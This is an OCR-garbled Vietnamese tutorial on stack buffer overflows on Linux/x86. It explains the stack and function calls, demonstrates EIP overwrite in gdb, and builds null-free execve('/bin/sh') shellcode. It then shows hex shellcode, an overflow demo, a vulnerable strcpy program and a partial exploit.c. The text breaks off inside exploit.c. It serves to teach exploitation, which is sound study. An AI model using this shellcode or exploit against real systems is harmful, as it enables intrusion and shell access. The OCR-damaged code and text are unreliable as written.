Tim hiéu day du veé tran bo dém

DT - Vicki's real fan
Loi mé diu
Tran by dém la mot trong nhirng 16 hong bao mat 16n nhét hién nay. Vay
tran bo dém 1a gi? Lam thé nao dé thi hanh cic ma 1énh nguy hiém qua

tran bd dém...?

FHEL 1y YRR it it kién thire vé Assembly, C, GDB va Linux la diéu can
thiet doi voi ban!

So' dd tb chirc bé nhé ciia mdt chwong trinh

[mmm e \ dia chi vung nh& cao
\ |

\ Stack |

\ |

|-———— \

\ (Initialized) |

\ Data |

\ (Uninitialized) |

|-———— \

\ |

\ Text |

\ |

\m——m / dia chi wvung nhé thap

Stack va Heap?

Heap la vang nh¢ dung dé cap phat cho cac bién tinh hodc cac viing nhé
dugc cap phat bang ham malloc()

Stack 1a ving nhé dung dé Iuu cac tham s6 va cac bién cuc bd clia ham.
Céc bién trén heap duoc cap phat tir ving nhé thip dén viing nhé cao.
Trén stack thi hoan toan nguoc lai, cac bién dugc cap phat tir ving nh¢
cao dén vung nhd thap.

Stack hoat dong theo nguyén tic "vio sau ra trudc"(Last In First Out -
LIFO). Céc gia tri dugc day vao stack sau cung s€ duoc lay ra khoi stack

trudce tién.

PUSH va POP




Stack d tir trén xuéng dudi(tlr viing nhd cao dén ving nh('y,thép). Thanh
ghi ESP luon tro dén dinh cia stack(vung nhé c6 dia chi thap).

dinh cta bbé6 nhé /---------——- \ day cua stack
\ |
\ |
\ |
\ |
\ |
| | <-- ESP
dady cua bd nhd \-—--—--—---——- / dinh cua stack

* PUSH m¢t value vao stack

dinh cta bbé nhé /---------——- \ day cua stack

\ |

\ |

\ |

\ \

\ | <- ESP ci

|-—————— \

(2) —> value | <= ESP mbéi = ESP cl -

sizeof (value) (1)
dady cua bd nhd \-—--—--—---——- / dinh cua stack

1/ ESP=ESP-si%eof(Value)
2/ value dugc day vao stack

* POP m¢t value ra khdi stack

dinh cta bbé nhé /-----=---——- \ day cua stack
\ |
\ |
\ |
\ |
\ | <- ESP méi = ESP cii +
sizeof (value) (2)

(1) <- value | <= ESP ci
dady cua bd nhd \-—--—-——---——- / dinh cua stack

1/ value duoc lay ra khoi stack
2/ ESP=ESP+sizeof(value)

Khac nhau gitra cac 1énh hop ngir AT&T vai Intel

Khac vé1 MSDOS va WINDOWS, *NIX dung céc Iénh hop nglt AT&T.
N6 hoan toan ngugc lai voi chuan cua Intel/Microsoft.

Vi du:



Intel AT&T

mov eax, esp movl %esp, %eax
push 7 push §7

mov [espt5], eax movl %eax, 0x5(%esp)
inc ah incb %ah

push 7 push §7

* Ghi chu:

e - Extended 32 bits
% - register

mov %src, %des
movl - move 1 long
movb - move 1 byte
movw - move 1 word
$ - hang

# - chi thich

Cach l1am viéc cua ham

Thanh ghi EIP ludn tro dén dia chi cua cau 1énh tiép theo cén thi hanh.

Khi goi ham, du tién cac tham sb duoc push vao stack theo thir ty nguoc
lai. Tiép theo dia chi cua cau 1énh duoc push vao stack. Sau do, thanh ghi
EBP duogc push vao stack(dung dé luu gia tri cli cua EBP).

Khi két thuc ham, thanh ghi EBP duoc pop ra khoi stack(phuc hoi lai gia
tri cii ciia EBP). Sau d6 dia chi tré vé(ret address) dugc pop ra khoi stack
va I¢énh tiép theo sau 101 goi ham s€ dugc thi hanh.

Thanh ghi EBP dugc ding dé xéc dinh cac tham s va cac bién cuc bd ctia
ham.

void function(int a, int b, int c) {
char bufferl[5];
char buffer2[10];

}

void main () {
function (1,2, 3);



Pé hiéu duoc chuong trinh goi ham function() nhu thé nio, ban hiy
compile vidul.c, ding tham s6 -S dé phat ma assembly:

[dt@localhost ~/vicki]S$cc -S -o test.s test.c

Xem file test.s, ching ta s& thiy call function() dugc chuyén thanh:

pushl $3
pushl $2
pushl $1
call function

3 tham sd truyén cho function() 1an lugt dugc push vao stack theo thir tu
nguoc lai. Cau €nh 'call’ s€ push con tro énh(tire la thanh ghi EIP) vao
stack dé€ Iuu dia chi tré ve.

Céc 1énh dau tiéu trong ham function() s& c6 dang nhu sau:

pushl %ebp
movl %esp, $ebp
subl $20, %$esp

Dau tién ESP(frame pointer) duoc push vao stack. Sau d6 chuong trinh
copy ESP vao EBP dé tao mot FP pointer mdi. Ban dé nhan thiy luc nay
ESP va EBP déu dang tro dén 6 nhé chira EBP cil. Hiy ghi nhé diéu nay.
Tiép theo ESP duoc trir di 20 dé danh khong gian cho cac bién cuc bo cua
ham function()

Vi chuong trinh 32 bits nén 5 bytes bufferl sé& la 8 bytes(2 words) trong bd
nhé(do 1am tron dén 4 bytes hay la 32 bits), 10 bytes buffer2 s& 1a 12 bytes
trong bd nhé(3 words). Téng cong s& tén 8+12=20 bytes cho cac bién cuc
bd cua function() nén ESP phai bi trir di 20! Stack s€ cé dang nhu sau:

day cua
dinh cua
bd nhé
bd nhé
buffer? bufferl sfp ret a b

dinh cua 12 bytes 8 bytes 4b 4b
day cua

stack

stack



Trong ham function(), ndi dung thanh ghi EBP khong bi thay doi.

0xz%ebp ding dé xac dinh 6 nh¢ chira tham sé cua ham
0xfffffz%ebp dung dé xac dinh 6 nhd chira bién cuc bd ciia ham

Khi két thiic ham function():

movl %ebp, Sesp
popl Sebp
ret

movl %ebp, Y%esp s& copy EBP vao ESP. Vi EBP khi bit ¢iu ham tro
dén 6 nhé chira EBP cii va EBP khong bi thay ddi trong ham function()
nén sau khi thuc hién 1énh movl, ESP s& trd dén 6 nhé chira EBP cil. popl
%ebp s& phuc hoi lai gia tri cii cho EBP dong thoi ESP s& bi giam
4(ESP=ESP-sizeof(EBP cil)) sau lénh popl. Nhu vy ESP s& tré dén 6 nhé
chira dia chi tr& vé(nim ngay trén 6 nhé chira EBP cil). ret s& pop dia chi
tré vé ra khoi stack, ESP s& bi giam 4 va chuong trinh tiép tuc thi hanh céu
1&€nh sau I€nh call function().

Chuwong trinh bi tran bo dém

Vi du:

int main ()

{
char buf[20];
gets (buf) ;

[dt@localhost ~/vicki]$ ecc gets.c -o gets
/tmp/cc4Cé6vaT.o: In function ‘main':
/tmp/cc4Co6vaT.o (.text+0xe): the “gets' function is
dangerous and should not be used.

[dt@localhost ~/vicki]$

gets(buf) s€ nhan input data vao buf. Kich thudc cia buf chi 1a 20 bytes.
Néu ta ddy data co kich thudc 16n hon 20 bytes vao buf, 20 bytes data dau
tién s& vao mang buf[20], cac bytes data sau s& ghi d¢ 1én EBP cil va tiép
theo la ret addr. Nhu vay ching ta co thé thay ddi duoc dia chi tro ve, diéu
nay dong nghia véi viéc chuong trinh bi tran bo dém.

dinh cta bdé nhd +-----------—- + day cua stack
return addr |



day cua bdé nhd +-----------—- + dinh ctia stack
Ban hay thu:
[dt@localhost ~/vicki]$ perl -e 'print "A"™ x 24' | ./gets

[dt@localhost ~/vicki]$ gdb gets core

GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public
License, and you are

welcome to change it and/or distribute copies of it under
certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show
warranty" for details.

This GDB was configured as "i386-mandrake-linux"...
Core was generated by ~./gets'.

Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 0x41414141 in 272 ()

(gdb) info all

eax Oxbffffbc4d -1073742908
ecx Oxbffffbc4d -1073742908
edx 0x40105dbc 1074814396
ebx 0x4010748c 1074820236
esp Oxbffffbel Oxbffffbel
ebp 0x41414141 0x41414141 // h&y nhin xem,
chiing ta vta ghi de 1lén ebp

esi 0x4000a610 1073784336
edi Oxbffffc24 -1073742812
eip 0x40031100 0x40031100
eflags 0x10282 66178

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

(gdb) quit

[dt@localhost ~/vicki]$
0x41 chinh 1a "A" & dang hex
Bay gio ban hay thir tiép:

[dt@localhost ~/vicki]$ perl -e 'print "A"™ x 28' | ./gets
Segmentation fault
[dt@localhost ~/vicki]$ gdb gets core



GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public
License, and you are

welcome to change it and/or distribute copies of it under
certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show
warranty" for details.

This GDB was configured as "i386-mandrake-linux"...
Core was generated by ~./gets'.

Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 0x41414141 in 272 ()

(gdb) info all

eax Oxbffffbc4d -1073742908

ecx Oxbffffbc4d -1073742908

edx 0x40105dbc 1074814396

ebx 0x4010748c 1074820236

esp Oxbffffbel Oxbffffbel

ebp 0x41414141 0x41414141 // chung ta da
ghi de 1lén ebp

esi 0x4000a610 1073784336

edi Oxbffffc24 -1073742812

eip 0x41414141 0x41414141 // chlng ta da
ghi de 1lén eip

eflags 0x10282 66178

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

(gdb) quit

[dt@localhost ~/vicki]$
Dia chi tr& vé bi thay d6i thanh 0x41414141, chuong trinh s€ thi hanh cac

1énh tai 0x41414141, tuy nhién day 1a viing cAm nén Linux da bao 15i
"Segmentation fault"

Shellcode

Hinh dung cac dat shellcode trén stack

O vi du trudc, ching ta da biét duge nguyén nhan cua tran bd dém va cach
thay d6i eip. Tuy nhién, ching ta cin phai thay doi dia chi tr vé tro dén
shellcode dé d6 mot shell. Ban c6 thé hinh dung ra cach dat shellcode trén
stack nhu sau:

Trude khi tran bd dém:



day cua bd nhd dinh
cta bd nhd

<—===- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFEFFFF
dinh cua stack day
cua stack

B = buffer

E = stack frame pointer
R = return address

F = cac data khac

Khi tran bd dém:

day cua bd nhd dinh
cta bd nhd

<=—=== FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFEFFEFE
dinh cua stack day

cua stack

S= shellcode,
A = con tro dén shellcode
F = cac data khac

(1) Lép tran bo dém(dén return addr) bang dia chi cta buffer
(2) bat shellcode vao buffer

Nhu vay dia chi tré vé s& tré dén shellcode, shellcode s& d6 mot root shell.
Tuy nhién, that kho dé 1am cho ret addr tré dén dang shellcode. C6 mot
cach khac, chiing ta s& dit vao dau cia buffer mot diy 1énh NOP(NO
oPeration - khong xt 1i), tiép theo chiing ta ddy shellcode vao sau NOPs.
Nhu vay khi thay doi ret addr tro dén mot noi nay dé ¢ dau buffer, cac
1énh NOP s& duoc thi hanh, chung khong 1am gi ca. Dén khi gip cac 1énh
shellcode, shellcode s& lam nhiém vu dd root shell. Stack co dang nhu sau:

day cua bd nhd dinh
cua bd nhd

<—===- FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFEFFE
dinh cua stack day

cua stack

N =NOP

S = shellcode

A = con tro dén shellcode
F = cac data khac

Viét va test thir shellcode

Shellcode dugc dit trén stack nén khong ghé nio dung dia chi tuyét doi.
Chung ta budc phai dung dia chi twong doi. That may cho ching ta, Iénh



jmp va call ¢6 thé chip nhan cac dia chi twong dbi. Shellcode s& c6 dang
nhu sau:

0 jmp (nhay xubng z bytes, téc 1a dén cau lénh call)
2 popl %esi

ddt céc ham tai day
Z call <-Z+2> (call sé& nhay 1lén z-2 bytes, d&b ngay cau
1lénh sau jmp, POPL)
Z+5 .string (bién)

Giii thich: & diu shellcode chung ta dit mot 1énh jmp dén call. call s&
nhdy nguoc [én lai cau 1énh ngay sau jmp, tuc 1a cau 1énh popl %esi.
Chung ta dat cac dir liéu .string ngay sau call. Khi 1énh call dugc thi
hanh, n6 s& push dia chi cta cau lénh ké tiép, trong trudng hop nay 1a dia
chi cta .string vao stack. Cau Iénh ngay sau jmp 1a popl %esi, nhu vay
esi s& chtra dia chi ciia .string. Chiing ta dat cac ham can xir 1i giira popl
%esi va call <-z+2>, cdc ham nay s€ xac dinh céc di li¢u .string qua
thanh ghi esi.

M3 1énh dé db shell trong C c¢6 dang nhu sau:

shellcode.c

#include

void main () {
char *name[2];

name [0] "/bin/sh";
name[1] = NULL;
execve (name[0], name, NULL);

Pé tim ra mi 1énh assembly that su cua shellcode, ban can compile
shellcode.c va sau d6 chay gdb. Nh¢é dung co -static khi compile
shellcode.c dé g0p cac ma I¢nh assembly that sy cua ham execve vao, néu
khong dung cd nay, ban chi nhan dugc mot tham chiéu dén thu vién lién
két dong cua C cho ham execve.

[dt@localhost ~/vicki]$ gcc -o shellcode -ggdb -static
shellcode.c

[dt@localhost ~/vicki]$ gdb shellcode

GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public
License, and you are

welcome to change it and/or distribute copies of it under
certain conditions.

Type "show copying" to see the conditions.



There is absolutely no warranty for GDB. Type "show
warranty" for details.

This GDB was configured as "i386-mandrake-linux"...
(gdb) disas main

Dump of assembler code for function main:

0x8000130 : pushl %ebp

0x8000131 : movl sesp, sebp

0x8000133 : subl $0x8, sesp

0x8000136 : movl $0x80027b8, Oxffffff£8 (%ebp)
0x800013d : movl $0x0,0xfffffffc (%ebp)
0x8000144 : pushl $0x0

0x8000146 : leal Oxfffffff8 (%ebp), Seax
0x8000149 : pushl S%eax

0x800014a : movl Oxffffff£8 (5ebp), seax
0x800014d : pushl S%eax

0x800014e : call 0x80002bc < execve>
0x8000153 : addl $0xc, sesp

0x8000156 : movl sebp, sesp

0x8000158 : popl sebp

0x8000159 : ret

End of assembler dump.

(gdb) disas __ execve

Dump of assembler code for function _ execve:
0x80002bc < execve>: pushl $ebp

0x80002bd < execve+l>: movl %esp, sebp
0x80002bf < execve+3>: pushl %ebx

0x80002c0 < execve+4>: movl $0xb, $eax
0x80002c5 < execve+9>: movl 0x8 (%ebp) , sebx

0x80002c8 < execve+l2>: movl Oxc (%ebp) , secx
0x80002cb < execve+l5>: movl 0x10 (%$ebp) , sedx
0x80002ce < execve+l8>: int $0x80
0x80002d0 < execve+20>: movl %eax, sedx
0x80002d2 < execve+22>: testl $Sedx, %$edx
0x80002d4 < execve+24>: jnl 0x80002e6

< execve+42>

0x80002d6 < execve+26>: negl sedx

0x80002d8 < execve+28>: pushl %edx

0x80002d9 < execve+29>: call 0x8001a34

< _normal errno location>

0x80002de < execve+34>: popl sedx

0x80002df <__execve+35>: movl %edx, (%eax)
0x80002el < execve+37>: movl SOxffffffff, $eax
0x80002e6 < execve+42>: popl sebx

0x80002e7 < execve+43>: movl %ebp, sesp
0x80002e9 < execve+45>: popl sebp

0x80002ea < execve+46>: ret

0x80002eb < execve+4d7>: nop

End of assembler dump.

(gdb) quit

Giai thich:

1/ main():

0x8000130 : pushl %ebp
0x8000131 : movl sesp, sebp



0x8000133 : subl $0x8, sesp

Céc lénh nay ban da viét r0i. No s& luu frame pointer cii va
tao frame pointer mai tur stack pointer, sau d6 danh ch6 cho
cac bién cuc bd cua main() trén stack, trong truong hop nay
la 8 bytes:

char *name|2];

2 con tré kiéu char, mdi con tro dai 1 word nén phai tn 2
word, tuc 1a 8 bytes trén stack.

0x8000136 : movl $0x80027b8, Oxfffffff8 (%ebp)

copy gia tri 0x80027b8(dia chi cua chudi "/bin/sh") vao con
tro dau tién cua mang con trdé name[]. Cau Iénh nay tuong
duong voi:

name[0] = "/bin/sh";

0x800013d : movl $0x0,0xfffffffc (%ebp)

copy gia tri 0xO(NULL) vao con tro thir 2 cia name[]. Cau
1énh nay tuong duong voi:

name[1] = NULL;
M3 1énh that su dé call execve() bét dau tai day:
0x8000144 : pushl $0x0

push céc tham s6 ctia ham execve() vao stack theo thir tur
nguoc lai, dau tién 1a NULL

0x8000146 : leal Oxffffff£8 (Sebp), seax
nap dia chi cua name[] vao thanh ghi EAX

0x8000149 : pushl %eax
push dia chi cua name[] vao stack

0x800014a : movl Oxffffff£8 (Sebp), seax
nap dia chi cua chudi "/bin/sh" vao stack

0x800014e : call 0x80002bc < execve>



goi ham thu vién execve(). call s€ push eip vao stack.

2/ execve():

0x80002bc < execve>: pushl %ebp
0x80002bd < execve+l>: movl sesp, sebp
0x80002bf < execve+3>: pushl %ebx

day 14 phan m& dau cta ham, t6i khong can giai thich cho
ban nira

0x80002c0 < execve+4>: movl $0xb, $eax
copy Oxb(11 decimal) vao stack. 11 = execve()

0x80002c5 < execve+9>: movl 0x8 (%ebp) , sebx

copy dia chi cta "/bin/sh" vao EBX

0x80002c8 < execve+l2>: movl Oxc (%ebp) , secx

copy dia chi cia name[] vao ECX

0x80002cb < execve+l5>: movl 0x10 (%$ebp) , sedx

copy dia chi cta con tré null vao EDX

0x80002ce < execve+l8>: int $0x80
goi ngit $0x80
Tom lai:

a/ c6 mot chudi két thic bang null "/bin/sh" & dau dé trong b nho

b/ ¢6 dia chi ctia chudi "/bin/sh" & dau d6 trong bd nhd theo sau 14 1 null
dai I word

¢/ copy 0xb vao thanh ghi EAX

d/ copy dia chi ciia dia chi ciia chudi "/bin/sh" vao thanh ghi EBX

e/ copy dia chi ctia chudi "/bin/sh" vao thanh ghi ECX

f/ copy dia chi cua null dai 1 word vao thanh ghi EDX

g/ goi ngit $0x80

Sau khi thi hanh call execve, chwong trinh c6 thé thi hanh tiép cac cau
1énh rac con lai trén stack va chwong trinh ¢ thé thit bai. Vi vay, chiing ta
phai nhanh chong két thic chwong trinh bang 101 goi ham exit(). Exit
syscall trong C ¢6 dang nhu sau:

exit.c



#include

void main () {
exit (0);

Xem ma assemly cua ham exit():

[dt@localhost ~/vicki]$ gcc -o exit -ggdb -static exit.c
[dt@localhost ~/vicki]$ gdb exit

GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public
License, and you are

welcome to change it and/or distribute copies of it under
certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show
warranty" for details.

This GDB was configured as "i386-mandrake-linux"...

(gdb) disas _exit

Dump of assembler code for function exit:

0x800034c < exit>: pushl %ebp

0x800034d < exit+1>: movl sesp, sebp
0x800034f < exit+3>: pushl %$ebx

0x8000350 < exit+4>: movl $0x1, %eax
0x8000355 < exit+9>: movl 0x8 (%ebp) , sebx

0x8000358 < exit+12>: int $0x80

0x800035a < exit+14>: movl Oxfffffffc (5ebp), sebx
0x800035d < exit+17>: movl sebp, sesp

0x800035f < exit+19>: popl sebp

0x8000360 < exit+20>: ret
0x8000361 < exit+21>: nop
0x8000362 < exit+22>: nop

0x8000363 < exit+23>: nop
End of assembler dump.
(gdb) quit

exit syscall s& dat 0x1 vao EAX, dit exit code trong EBX va goi ngit "int
0x80". exit code = 0 nghia la khong gap 16i. Vi vay chung ta s€ dat 0 trong
EBX.

Tom lai:

a/ c6 mot chudi két thic bang null "/bin/sh" & dau dé trong b nhd

b/ ¢6 dia chi ctia chudi "/bin/sh" & dau d6 trong bd nhd theo sau 1 1 null
dai I word

¢/ copy 0xb vao thanh ghi EAX

d/ copy dia chi ciia dia chi ciia chudi "/bin/sh" vao thanh ghi EBX



e/ copy dia chi ctia chudi "/bin/sh" vao thanh ghi ECX
f/ copy dia chi cua null dai 1 word vao thanh ghi EDX
g/ goi ngit $0x80

h/ copy 0x1 vao thanh ghi EAX

i/ copy 0x0 vao thanh ghi EBX

j/ goi ngit $0x80

Shellcode s€ c6 dang nhu sau:

jmp offset-to-call # 2 bytes
popl %esi # 1 byte

movl %esi,array-offset (%esi) # 3 bytes
movb $0x0,nullbyteoffset (%esi)# 4 bytes
movl $0x0,null-offset (%esi) # 7 bytes
movl $0xb, $eax # 5 bytes
movl %esi, $ebx # 2 bytes
leal array-offset, (%esi), %ecx # 3 bytes
leal null-offset (%esi), Yedx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes
call offset-to-popl # 5 bytes

/bin/sh string goes here.

Tinh toan céc offsets tir jmp dén call, tir call &én popl, tir dia chi ciia chudi
dén mang, va tur dia chi ciia chudi dén word null, chiing ta s€ c6 shellcode
that su:

jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi, 0x8 (%esi) # 3 bytes
movb $0x0,0x7 (%esi) # 4 bytes
movl $S0x0, 0xc (%esi) # 7 bytes
movl $0xb, $eax # 5 bytes
movl %esi, $ebx # 2 bytes
leal 0x8 (%esi), %ecx # 3 bytes
leal Oxc (%$esi), $edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes



Dé biét mi may ctia cac 1énh hop ngit trén & dang hexa, ban can compile
shellcodeasm.c va gdb shellcodeasm:

shellcodeasm.c

void main () {

__asm__ ("
jmp O0x2a # 3 bytes
popl %esi # 1 byte
movl %esi, 0x8 (%esi) # 3 bytes
movb $S0x0,0x7 (%esi) # 4 bytes
movl $0x0, 0xc (%esi) # 7 bytes
movl $0xb, $eax # 5 bytes
movl %esi, $ebx # 2 bytes
leal 0x8 (%esi), %Secx # 3 bytes
leal Oxc (%$esi), $edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes

[dt@localhost ~/vicki]$ gcc -o shellcodeasm -g -ggdb
shellcodeasm.c

[dt@localhost ~/vicki]$ gdb shellcodeasm

GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public
License, and you are

welcome to change it and/or distribute copies of it under
certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show
warranty" for details.

This GDB was configured as "i386-mandrake-linux"...
(gdb) disas main

Dump of assembler code for function main:

0x8000130 : pushl %ebp

0x8000131 : movl sesp, sebp
0x8000133 : Jmp 0x800015f
0x8000135 : popl %esi

0x8000136 : movl %esi, 0x8 (%esi)
0x8000139 : movb $0x0,0x7 (%esi)
0x800013d : mov1l $0x0, 0xc (%esi)
0x8000144 mov1l $0xb, $eax
0x8000149 : movl %esi, $ebx
0x800014b : leal 0x8 (%esi), Secx
0x800014e : leal Oxc (%esi), $edx
0x8000151 : int $0x80
0x8000153 : mov1l $0x1, $eax

0x8000158 : mov1l $0x0, $ebx



0x800015d : int $0x80

0x800015f : call 0x8000135

0x8000164 : das

0x8000165 : boundl Ox6e (%ecx), sebp

0x8000168 : das

0x8000169 : Jjae 0x80001d3 < new exitfn+55>
0x800016b : addb %cl, 0x55c35dec (%ecx)

End of assembler dump.
(gdb) x/bx main+3

0x8000133 : Oxeb
(gdb)

0x8000134 : Ox2a
(gdb)

(gdb) quit

Ghi chii: x/bx ding dé hién thi ma mdy & dang hexa ciia lénh hop ngir
Béy gio ban hay test thir shellcode dau tién:

testscl.c

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\
x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\
xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\
xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main () {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

[dt@localhost ~/vicki]$ cc -o testscl testscl.c
[dt@localhost ~/vicki]$ ./testscl

sh-2.043% exit

[dt@localhost ~/vickil$

N6 da lam viéc! Tuy nhién c6 mot van dé 1on trong shellcode déu tién.
Shellcode nay c6 chira \x00. Chung ta sé that bai néu dung shellcode nay
dé lam tran by dém. Vi sao? Ham strcpy() s& cham dirt copy khi gap \x00
nén shellcode s& khong duoc copy tron ven vao buffer! Chung ta can go
b6 hét \x00 trong shellcode:



Cau lénh gdp van dé: Pugc thay thé bing:

movb $S0x0,0x7 (%esi) xorl $eax, seax
molv $0x0, 0xc (%esi) movb $eax, 0x7 (%esi)
movl $eax, 0xc (%esi)
movl S0xb, $eax movb S0xb, $al
movl $S0x1, %eax xorl $ebx, $ebx
movl $S0x0, %ebx movl $ebx, $eax
inc %eax

Shellcode méi!

shellcodeasm2.c

void main () {

__asm__ ("
jmp Ox1f # 2 bytes
popl %esi # 1 byte
movl %esi, 0x8 (%esi) # 3 bytes
xorl %eax, $eax # 2 bytes

movb %eax, 0x7 (%esi) # 3 bytes

movl %eax, 0xc (%esi) # 3 bytes
movb $0xb, %al # 2 bytes
movl %esi, $ebx # 2 bytes
leal 0x8 (%esi), %Secx # 3 bytes
leal Oxc (%$esi), $edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx, $ebx # 2 bytes
movl %ebx, $eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes

# 46 bytes total

Test shellcode mai!

testsc2.c

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\
x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



void main () {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

[dt@localhost ~/vicki]$ cc -o testsc?2 testsc2.c
[dt@localhost ~/vicki]$ ./testsc2

sh-2.043% exit

[dt@localhost ~/vickil$

Viét tran bo dém

Vidu 1:

overflow.c

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x
b0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x
40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large string[128];

void main() {
char buffer[96];
int 1i;
long *long ptr = (long *) large string;

for (1 = 0; i < 32; i++)
*(long ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large string[i] = shellcode[i];

strcpy (buffer, large string);

[dt@localhost ~/vicki]$ cc -o overflow overflow.c
[dt@localhost ~/vicki]$ ./overflow

sh-2.043% exit

[dt@localhost ~/vickil$

* Gidi thich:



dinh
dinh c

bd
bd nhé

day
cua

bd
nhd&

cua Fomm + day cua Fomm e +
ua
nhé \ ret addr | stack | addr (buffer)
t-—m - + | addr (buffer) |
\ ebp | \ ... |
t-—m - + | addr (buffer) |
\ \ | addr (buffer) \
string[128]
\ buffer[96] | | addr (buffer) |
\ | \ |
t-—m - + | shellcode |
\ long ptr | - > |
cua Fomm + dinh cua Fomm e + day
nhd& stack bd
STACK HEAP

char large_string[128]; //cip phat mot ving nhé 128 bytes trén HEAP

long *long_ptr = (long *) large_string; // cho long_ptr tro dén diu méang
large string|]

for (i=0; i<32; i++) o ‘
*(long_ptr+i) = (int)buffer; //1ap day mang large string[] bang dia chi
cua mang buffer|]

for (i=0; i<strlen(shellcode); i++) o
large_string[i] = shellcode]i]; //day shellcode vao phan dau ciia mang
large string|]

strepy(buffer, large_string); //copy large string vao buffer... lam tran b
dém

Trude hét ching ta khoi tao mot mang large_string[] c6 kich thugce lon
hon buffer[] trén HEAP. Tlep theo lap day large_string]] bang dia chi cia
buffer[]. Shellcode s& dugc gan vao phin dau ciia large_string[]. Khi ham
strepy duogc thuc hién, n6 s€ copy large string vao buffer. Bi vi

large string qua 16n nén né s& ghi dé 1én ebp va return addr. Phan trén cua
mang large string toan la dia chi ctua buffer[] - addr(buffer) nén return
addr s& tro dén buffer[0]. Ma nim ngay & phan dau cta buffer lai chinh 1a
shellcode(do ta da copy large_string vao buffer bang ham strcpy), nén
shellcode s& duoc thi hanh, n6 s& dd ra mot shell 1énh.

Vidu 2:

Dé viét tran bd dém, ban phai bién dia chi cua buffer trén stack. That may
cho chung ta la hau nhu tat ca cac chuong trinh déu c6 cung dia chi bat



dau stack. Chung ta c6 thé lay dugc dia chi bat dau cua stack qua chuong
trinh sau:

unsigned long get sp(void) {
__asm__ ("movl %esp,%eax");
}

void main () {
printf ("0x%x\n", get sp());

[dt@localhost ~/vicki]$ cc -o sp sp.c
[dt@localhost ~/vickil$ ./sp
Oxbffffb07

[dt@localhost ~/vicki]$

Gia su chuong trinh ma chung ta ¢6 lam tran by dém nhu sau:

vulnerable.c

int main(int argc, char *argvl(])

{
char buffer[500];
if (argc>=2) strcpy(buffer, argv[l]);
return 0;

bay la chuong trinh exploit.c. exploit s& lam tran b dém cta vulnerable
va budc vulnerable d6 mdt shell Iénh cho ching ta.

exploit.c

#include <stdlib.h>
#define BUFFERSIZE 600
#define OFFSET 0
#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x
b0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x
40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get esp(void)

{

asm ("movl %esp, %eax");



}

int main (int argc, char *argv[])

{
int i, offset=0FFSET, bsize=BUFFERSIZE;

long esp, ret, *addr ptr;
char *buffer, *ptr, *osptr;

if (argc>1l) bsize=atoi (argv[l]):;
if (argc>2) offset=atoi (argvi[2]):;

esp=get _esp();
ret=esp-offset;

